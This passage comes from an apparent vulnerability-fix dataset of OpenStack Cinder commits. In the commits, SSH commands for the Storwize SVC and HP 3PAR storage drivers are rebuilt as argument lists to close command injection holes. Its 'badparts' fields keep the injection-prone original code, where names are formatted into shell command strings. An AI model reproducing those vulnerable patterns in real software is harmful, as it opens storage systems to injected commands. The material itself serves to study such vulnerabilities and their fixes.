Verify CLI behaviour - no output is returned from\n # rmvdiskhostmap\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svctask rmvdiskhostmap -host %s %s' % \\", " (host_name, vol_name)"], "goodparts": [" ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,", " vol_name]"]}, {"diff": "\n parsed/matched to a single vdisk.\n \"\"\"\n \n- ssh_cmd = 'svcinfo lsvdisk -bytes -delim ! %s ' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_name]\n return self._execute_command_and_parse_attributes(ssh_cmd)\n \n def _get_vdisk_fc_mappings(self, vdisk_name):\n \"\"\"Return FlashCopy mappings that this vdisk is associated with.\"\"\"\n \n- ssh_cmd = 'svcinfo lsvdiskfcmappings -nohdr %s' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mapping_ids = []\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsvdisk -bytes -delim ! %s ' % vdisk_name", " ssh_cmd = 'svcinfo lsvdiskfcmappings -nohdr %s' % vdisk_name"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_name]", " ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_name]"]}, {"diff": "\n LOG.debug(_('enter: _create_vdisk: vdisk %s ') % name)\n \n model_update = None\n- autoex = '-autoexpand' if opts['autoexpand'] else ''\n- easytier = '-easytier on' if opts['easytier'] else '-easytier off'\n+ easytier = 'on' if opts['easytier'] else 'off'\n \n # Set space-efficient options\n if opts['rsize'] == -1:\n- ssh_cmd_se_opt = ''\n+ ssh_cmd_se_opt = []\n else:\n- ssh_cmd_se_opt = (\n- '-rsize %(rsize)d%% %(autoex)s -warning %(warn)d%%' %\n- {'rsize': opts['rsize'],\n- 'autoex': autoex,\n- 'warn': opts['warning']})\n+ ssh_cmd_se_opt = ['-rsize', '%s%%' % str(opts['rsize']),\n+ '-autoexpand', '-warning',\n+ '%s%%' % str(opts['warning'])]\n+ if not opts['autoexpand']:\n+ ssh_cmd_se_opt.remove('-autoexpand')\n+\n if opts['compression']:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + ' -compressed'\n+ ssh_cmd_se_opt.append('-compressed')\n else:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + (\n- ' -grainsize %d' % opts['grainsize'])\n-\n- ssh_cmd = ('svctask mkvdisk -name %(name)s -mdiskgrp %(mdiskgrp)s '\n- '-iogrp 0 -size %(size)s -unit '\n- '%(unit)s %(easytier)s %(ssh_cmd_se_opt)s'\n- % {'name': name,\n- 'mdiskgrp': self.configuration.storwize_svc_volpool_name,\n- 'size': size, 'unit': units, 'easytier': easytier,\n- 'ssh_cmd_se_opt': ssh_cmd_se_opt})\n+ ssh_cmd_se_opt.extend(['-grainsize', str(opts['grainsize'])])\n+\n+ ssh_cmd = ['svctask', 'mkvdisk', '-name', name, '-mdiskgrp',\n+ self.configuration.storwize_svc_volpool_name,\n+ '-iogrp', '0', '-size', size, '-unit',\n+ units, '-easytier', easytier] + ssh_cmd_se_opt\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), '_create_vdisk',\n ssh_cmd, out, err)\n", "add": 15, "remove": 19, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" autoex = '-autoexpand' if opts['autoexpand'] else ''", " easytier = '-easytier on' if opts['easytier'] else '-easytier off'", " ssh_cmd_se_opt = ''", " ssh_cmd_se_opt = (", " '-rsize %(rsize)d%% %(autoex)s -warning %(warn)d%%' %", " {'rsize': opts['rsize'],", " 'autoex': autoex,", " 'warn': opts['warning']})", " ssh_cmd_se_opt = ssh_cmd_se_opt + ' -compressed'", " ssh_cmd_se_opt = ssh_cmd_se_opt + (", " ' -grainsize %d' % opts['grainsize'])", " ssh_cmd = ('svctask mkvdisk -name %(name)s -mdiskgrp %(mdiskgrp)s '", " '-iogrp 0 -size %(size)s -unit '", " '%(unit)s %(easytier)s %(ssh_cmd_se_opt)s'", " % {'name': name,", " 'mdiskgrp': self.configuration.storwize_svc_volpool_name,", " 'size': size, 'unit': units, 'easytier': easytier,", " 'ssh_cmd_se_opt': ssh_cmd_se_opt})"], "goodparts": [" easytier = 'on' if opts['easytier'] else 'off'", " ssh_cmd_se_opt = []", " ssh_cmd_se_opt = ['-rsize', '%s%%' % str(opts['rsize']),", " '-autoexpand', '-warning',", " '%s%%' % str(opts['warning'])]", " if not opts['autoexpand']:", " ssh_cmd_se_opt.remove('-autoexpand')", " ssh_cmd_se_opt.append('-compressed')", " ssh_cmd_se_opt.extend(['-grainsize', str(opts['grainsize'])])", " ssh_cmd = ['svctask', 'mkvdisk', '-name', name, '-mdiskgrp',", " self.configuration.storwize_svc_volpool_name,", " '-iogrp', '0', '-size', size, '-unit',", " units, '-easytier', easytier] + ssh_cmd_se_opt"]}, {"diff": "\n LOG.debug(_('leave: _create_vdisk: volume %s ') % name)\n \n def _make_fc_map(self, source, target, full_copy):\n- copyflag = '' if full_copy else '-copyrate 0'\n- fc_map_cli_cmd = ('svctask mkfcmap -source %(src)s -target %(tgt)s '\n- '-autodelete %(copyflag)s' %\n- {'src': source,\n- 'tgt': target,\n- 'copyflag': copyflag})\n+ fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source, '-target',\n+ target, '-autodelete']\n+ if not full_copy:\n+ fc_map_cli_cmd.extend(['-copyrate', '0'])\n out, err = self._run_ssh(fc_map_cli_cmd)\n self._driver_assert(\n len(out.strip()),\n", "add": 4, "remove": 6, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" copyflag = '' if full_copy else '-copyrate 0'", " fc_map_cli_cmd = ('svctask mkfcmap -source %(src)s -target %(tgt)s '", " '-autodelete %(copyflag)s' %", " {'src': source,", " 'tgt': target,", " 'copyflag': copyflag})"], "goodparts": [" fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source, '-target',", " target, '-autodelete']", " if not full_copy:", " fc_map_cli_cmd.extend(['-copyrate', '0'])"]}, {"diff": "\n \n def _call_prepare_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask prestartfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_prepare_fc_map: Failed to prepare FlashCopy '\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" out, err = self._run_ssh('svctask prestartfcmap %s' % fc_map_id)"], "goodparts": [" out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])"]}, {"diff": "\n \n def _start_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask startfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_start_fc_map: Failed to start FlashCopy '\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" out, err = self._run_ssh('svctask startfcmap %s' % fc_map_id)"], "goodparts": [" out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])"]}, {"diff": "\n LOG.debug(_('enter: _get_flashcopy_mapping_attributes: mapping %s')\n % fc_map_id)\n \n- fc_ls_map_cmd = 'svcinfo lsfcmap -filtervalue id=%s -delim !' % \\\n- fc_map_id\n+ fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',\n+ 'id=%s' % fc_map_id, '-delim', '!']\n out, err = self._run_ssh(fc_ls_map_cmd)\n if not len(out.strip()):\n return None\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" fc_ls_map_cmd = 'svcinfo lsfcmap -filtervalue id=%s -delim !' % \\", " fc_map_id"], "goodparts": [" fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',", " 'id=%s' % fc_map_id, '-delim', '!']"]}, {"diff": "\n if source == name:\n if not allow_snaps:\n return False\n- ssh_cmd = ('svctask chfcmap -copyrate 50 '\n- '-autodelete on %s' % map_id)\n+ ssh_cmd = ['svctask', 'chfcmap', '-copyrate', '50',\n+ '-autodelete', 'on', map_id]\n out, err = self._run_ssh(ssh_cmd)\n wait_for_copy = True\n # Case #3: A snapshot\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask chfcmap -copyrate 50 '", " '-autodelete on %s' % map_id)"], "goodparts": [" ssh_cmd = ['svctask', 'chfcmap', '-copyrate', '50',", " '-autodelete', 'on', map_id]"]}, {"diff": "\n {'name': name, 'src': source, 'tgt': target})\n self._driver_assert(target == name, msg)\n if status in ['copying', 'prepared']:\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n elif status in ['stopping', 'preparing']:\n wait_for_copy = True\n else:\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force',\n+ map_id])\n # Case 4: Copy in progress - wait and will autodelete\n else:\n if status == 'prepared':\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n elif status == 'idle_or_copied':\n # Prepare failed\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n else:\n wait_for_copy = True\n if wait_for_copy:\n", "add": 6, "remove": 5, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" self._run_ssh('svctask stopfcmap %s' % map_id)", " self._run_ssh('svctask rmfcmap -force %s' % map_id)", " self._run_ssh('svctask stopfcmap %s' % map_id)", " self._run_ssh('svctask rmfcmap -force %s' % map_id)", " self._run_ssh('svctask rmfcmap -force %s' % map_id)"], "goodparts": [" self._run_ssh(['svctask', 'stopfcmap', map_id])", " self._run_ssh(['svctask', 'rmfcmap', '-force',", " map_id])", " self._run_ssh(['svctask', 'stopfcmap', map_id])", " self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])", " self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])"]}, {"diff": "\n \n self._ensure_vdisk_no_fc_mappings(name)\n \n- forceflag = '-force' if force else ''\n- cmd_params = {'frc': forceflag, 'name': name}\n- ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params\n+ ssh_cmd = ['svctask', 'rmvdisk', '-force', name]\n+ if not force:\n+ ssh_cmd.remove('-force')\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmvdisk\n self._assert_ssh_return(len(out.strip()) == 0,\n", "add": 3, "remove": 3, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" forceflag = '-force' if force else ''", " cmd_params = {'frc': forceflag, 'name': name}", " ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params"], "goodparts": [" ssh_cmd = ['svctask', 'rmvdisk', '-force', name]", " if not force:", " ssh_cmd.remove('-force')"]}, {"diff": "\n raise exception.VolumeBackendAPIException(data=exception_message)\n \n extend_amt = int(new_size) - volume['size']\n- ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'\n- % {'amt': extend_amt, 'name': volume['name']})\n+ ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),\n+ '-unit', 'gb', volume['name']])\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from expandvdisksize\n self._assert_ssh_return(len(out.strip()) == 0, 'extend_volume',\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'", " % {'amt': extend_amt, 'name': volume['name']})"], "goodparts": [" ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),", " '-unit', 'gb', volume['name']])"]}, {"diff": "\n \n pool = self.configuration.storwize_svc_volpool_name\n #Get storage system name\n- ssh_cmd = 'svcinfo lssystem -delim !'\n+ ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes or not attributes['name']:\n exception_message = (_('_update_volume_stats: '\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lssystem -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']"]}, {"diff": "\n backend_name = '%s_%s' % (attributes['name'], pool)\n data['volume_backend_name'] = backend_name\n \n- ssh_cmd = 'svcinfo lsmdiskgrp -bytes -delim ! %s' % pool\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!', pool]\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes:\n LOG.error(_('Could not get pool data from the storage'))\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsmdiskgrp -bytes -delim ! %s' % pool"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!', pool]"]}, {"diff": "\n self._stats = data\n \n def _port_conf_generator(self, cmd):\n- ssh_cmd = '%s -delim !' % cmd\n+ ssh_cmd = cmd + ['-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = '%s -delim !' % cmd"], "goodparts": [" ssh_cmd = cmd + ['-delim', '!']"]}, {"diff": "\n \"\"\"\n \n LOG.debug(_('enter: _execute_command_and_parse_attributes: '\n- ' command %s') % ssh_cmd)\n+ ' command %s') % str(ssh_cmd))\n \n try:\n out, err = self._run_ssh(ssh_cmd)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ' command %s') % ssh_cmd)"], "goodparts": [" ' command %s') % str(ssh_cmd))"]}, {"diff": "\n LOG.debug(_('leave: _execute_command_and_parse_attributes:\\n'\n 'command: %(cmd)s\\n'\n 'attributes: %(attr)s')\n- % {'cmd': ssh_cmd,\n+ % {'cmd': str(ssh_cmd),\n 'attr': str(attributes)})\n \n return attributes\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" % {'cmd': ssh_cmd,"], "goodparts": [" % {'cmd': str(ssh_cmd),"]}]}}, "msg": "Tidy up the SSH call to avoid injection attacks in storwize_svc\n\nLet the command and arguments form up a list and avoid the extra arguments\nattackers inserted to the command string\n\nfix bug 1192971\n\nChange-Id: I57b3fe60e64d9d0dc1ea9a18442c877be2ceece3"}, "c55589b131828f3a595903f6796cb2d0babb772f": {"url": "https://api.github.com/repos/storpool/cinder/commits/c55589b131828f3a595903f6796cb2d0babb772f", "html_url": "https://github.com/storpool/cinder/commit/c55589b131828f3a595903f6796cb2d0babb772f", "sha": "c55589b131828f3a595903f6796cb2d0babb772f", "keyword": "command injection attack", "diff": "diff --git a/cinder/tests/test_hp3par.py b/cinder/tests/test_hp3par.py\nindex a226beeb9..6778a326b 100644\n--- a/cinder/tests/test_hp3par.py\n+++ b/cinder/tests/test_hp3par.py\n@@ -725,11 +725,12 @@ def test_create_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n@@ -750,16 +751,17 @@ def test_create_invalid_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n create_host_ret = pack(CLI_CR +\n 'already used by host fakehost.foo (19)')\n _run_ssh(create_host_cmd, False).AndReturn([create_host_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(FC_SHOWHOST_RET), ''])\n self.mox.ReplayAll()\n \n@@ -779,14 +781,14 @@ def test_create_modify_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(NO_FC_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -add fakehost '\n- '123456789012345 123456789054321')\n+ create_host_cmd = ['createhost', '-add', 'fakehost', '123456789012345',\n+ '123456789054321']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n self.mox.ReplayAll()\n \n@@ -918,12 +920,12 @@ def test_create_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n@@ -944,16 +946,16 @@ def test_create_invalid_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n in_use_ret = pack('\\r\\nalready used by host fakehost.foo ')\n _run_ssh(create_host_cmd, False).AndReturn([in_use_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(ISCSI_3PAR_RET), ''])\n self.mox.ReplayAll()\n \n@@ -973,11 +975,11 @@ def test_create_modify_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_NO_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -iscsi -add fakehost '\n- 'iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = ['createhost', '-iscsi', '-add', 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n self.mox.ReplayAll()\n@@ -993,14 +995,14 @@ def test_get_ports(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI),\n ''])\n self.mox.ReplayAll()\n@@ -1017,14 +1019,14 @@ def test_get_iscsi_ip_active(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n self.mox.ReplayAll()\n@@ -1038,7 +1040,7 @@ def test_get_iscsi_ip_active(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN), ''])\n \n self.mox.ReplayAll()\n@@ -1054,21 +1056,21 @@ def test_get_iscsi_ip(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n #record\n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n show_vlun_ret = 'no vluns listed\\r\\n'\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(show_vlun_ret), ''])\n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n \n self.mox.ReplayAll()\n@@ -1089,14 +1091,14 @@ def test_invalid_iscsi_ip(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n config = self.setup_configuration()\n@@ -1118,7 +1120,7 @@ def test_get_least_used_nsp(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\ndiff --git a/cinder/volume/drivers/san/hp/hp_3par_common.py b/cinder/volume/drivers/san/hp/hp_3par_common.py\nindex 216b8da31..36f693421 100644\n--- a/cinder/volume/drivers/san/hp/hp_3par_common.py\n+++ b/cinder/volume/drivers/san/hp/hp_3par_common.py\n@@ -188,7 +188,7 @@ def _set_connections(self):\n The 3PAR WS API server has a limit of concurrent connections.\n This is setting the number to the highest allowed, 15 connections.\n \"\"\"\n- self._cli_run(\"setwsapi -sru high\", None)\n+ self._cli_run(['setwsapi', '-sru', 'high'])\n \n def get_domain(self, cpg_name):\n try:\n@@ -213,8 +213,7 @@ def extend_volume(self, volume, new_size):\n LOG.debug(\"Extending Volume %s from %s to %s, by %s GB.\" %\n (volume_name, old_size, new_size, growth_size))\n try:\n- self._cli_run(\"growvv -f %s %sg\" % (volume_name, growth_size),\n- None)\n+ self._cli_run(['growvv', '-f', volume_name, '%dg' % growth_size])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error extending volume %s\") % volume)\n@@ -272,17 +271,8 @@ def _capacity_from_size(self, vol_size):\n capacity = int(round(capacity / MiB))\n return capacity\n \n- def _cli_run(self, verb, cli_args):\n+ def _cli_run(self, cmd):\n \"\"\"Runs a CLI command over SSH, without doing any result parsing.\"\"\"\n- cli_arg_strings = []\n- if cli_args:\n- for k, v in cli_args.items():\n- if k == '':\n- cli_arg_strings.append(\" %s\" % k)\n- else:\n- cli_arg_strings.append(\" %s=%s\" % (k, v))\n-\n- cmd = verb + ''.join(cli_arg_strings)\n LOG.debug(\"SSH CMD = %s \" % cmd)\n \n (stdout, stderr) = self._run_ssh(cmd, False)\n@@ -334,7 +324,10 @@ def _ssh_execute(self, ssh, cmd, check_exit_code=True):\n channel.close()\n return (stdout, stderr)\n \n- def _run_ssh(self, command, check_exit=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n self.sshpool = utils.SSHPool(self.config.san_ip,\n self.config.san_ssh_port,\n@@ -367,10 +360,10 @@ def _run_ssh(self, command, check_exit=True, attempts=1):\n LOG.error(_(\"Error running ssh command: %s\") % command)\n \n def _delete_3par_host(self, hostname):\n- self._cli_run('removehost %s' % hostname, None)\n+ self._cli_run(['removehost', hostname])\n \n def _create_3par_vlun(self, volume, hostname):\n- out = self._cli_run('createvlun %s auto %s' % (volume, hostname), None)\n+ out = self._cli_run(['createvlun', volume, 'auto', hostname])\n if out and len(out) > 1:\n if \"must be in the same domain\" in out[0]:\n err = out[0].strip()\n@@ -392,7 +385,7 @@ def _safe_hostname(self, hostname):\n return hostname[:index]\n \n def _get_3par_host(self, hostname):\n- out = self._cli_run('showhost -verbose %s' % (hostname), None)\n+ out = self._cli_run(['showhost', '-verbose', hostname])\n LOG.debug(\"OUTPUT = \\n%s\" % (pprint.pformat(out)))\n host = {'id': None, 'name': None,\n 'domain': None,\n@@ -479,7 +472,7 @@ def _get_3par_host(self, hostname):\n \n def get_ports(self):\n # First get the active FC ports\n- out = self._cli_run('showport', None)\n+ out = self._cli_run(['showport'])\n \n # strip out header\n # 